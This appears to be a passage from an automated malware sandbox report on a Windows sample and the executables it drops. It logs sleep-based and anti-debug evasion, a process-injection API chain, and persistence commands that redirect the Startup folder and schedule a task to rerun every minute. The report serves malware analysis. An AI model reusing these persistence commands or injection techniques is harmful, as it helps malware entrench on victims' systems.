Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe TID: 6940	Thread sleep count: 153 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe TID: 6940	Thread sleep time: -38250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe TID: 5212	Thread sleep count: 131 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe TID: 5212	Thread sleep time: -23580000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe TID: 2928	Thread sleep count: 67 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe TID: 2928	Thread sleep time: -12060000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe TID: 6892	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe TID: 3532	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe TID: 3628	Thread sleep time: -180000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\mvoElayshk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\a.exe

Code function: 3_2_01004010 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,GetSystemMetrics,

3_2_01004010

Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_0101B0C2 FindFirstFileExW,	3_2_0101B0C2
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F1B0C2 FindFirstFileExW,	5_2_00F1B0C2
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F1B0C2 FindFirstFileExW,	11_2_00F1B0C2
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_00409931 ??2@YAPAXI@Z,FindFirstFileW,FindClose,	13_2_00409931
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_00403327 FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetCurrentDirectoryW,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	13_2_00403327
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_00403442 FindFirstFileW,FindClose,SetFileAttributesW,DeleteFileW,	13_2_00403442
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_00404402 FindFirstFileW,FindClose,SetLastError,CompareFileTime,	13_2_00404402
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_00409931 ??2@YAPAXI@Z,FindFirstFileW,FindClose,	16_2_00409931
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_00403327 FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetCurrentDirectoryW,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	16_2_00403327
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_00403442 FindFirstFileW,FindClose,SetFileAttributesW,DeleteFileW,	16_2_00403442
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_00404402 FindFirstFileW,FindClose,SetLastError,CompareFileTime,	16_2_00404402

Source: C:\Users\user\Desktop\mvoElayshk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\1sb1iwyem7	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\7ZipSfx.001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: mvoElayshk.exe, 00000000.00000002.659314174.00000000007AD000.00000004.00000020.sdmp	Binary or memory string: ~100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\AppData\Local\Temp\a.exe

Code function: 3_2_01014AA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_01014AA3

Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Code function: 5_2_00F0C0A0 Sleep,Sleep,LoadLibraryA,GetProcAddress,FreeLibrary,GetUserNameW,GetComputerNameExW,

5_2_00F0C0A0

Source: C:\Users\user\AppData\Local\Temp\a.exe

Code function: 3_2_01001DA0 GetUserNameW,GetUserNameW,GetProcessHeap,GetProcessHeap,HeapAlloc,GetUserNameW,LookupAccountNameW,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,LookupAccountNameW,ConvertSidToStringSidW,GetProcessHeap,HeapFree,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,LocalFree,

3_2_01001DA0

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_010121C1 mov eax, dword ptr fs:[00000030h]	3_2_010121C1
Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_01015F52 mov eax, dword ptr fs:[00000030h]	3_2_01015F52
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F121C1 mov eax, dword ptr fs:[00000030h]	5_2_00F121C1
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F15F52 mov eax, dword ptr fs:[00000030h]	5_2_00F15F52
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F121C1 mov eax, dword ptr fs:[00000030h]	11_2_00F121C1
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F15F52 mov eax, dword ptr fs:[00000030h]	11_2_00F15F52

Source: C:\Users\user\Desktop\mvoElayshk.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_01010567 SetUnhandledExceptionFilter,	3_2_01010567
Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_01014AA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_01014AA3
Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_01010402 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_01010402
Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_010107B3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_010107B3
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F10567 SetUnhandledExceptionFilter,	5_2_00F10567
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F14AA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00F14AA3
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F10402 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00F10402
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F107B3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00F107B3
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F10567 SetUnhandledExceptionFilter,	11_2_00F10567
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F14AA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00F14AA3
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F10402 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00F10402
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F107B3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00F107B3

HIPS / PFW / Operating System Protection Evasion:

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\a.exe

Code function: 3_2_01002250 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,VirtualFree,

3_2_01002250

Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Code function: 5_2_00F02A20 ShellExecuteA,

5_2_00F02A20

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /pid 6268 /t /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /pid 3184 /t /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /pid 4624 /t /f

Source: C:\Users\user\Desktop\mvoElayshk.exe	Process created: C:\Users\user\AppData\Local\Temp\a.exe 'C:\Users\user\AppData\Local\Temp\a.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\a.exe	Process created: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe 'C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\4c423bc94e\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR 'C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe' /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Process created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\4c423bc94e\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /pid 6268 /t /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /pid 3184 /t /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /pid 4624 /t /f
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe

Code function: 13_2_00403F0A AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

13_2_00403F0A

Source: C:\Users\user\Desktop\mvoElayshk.exe	Queries volume information: C:\Users\user\Desktop\mvoElayshk.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
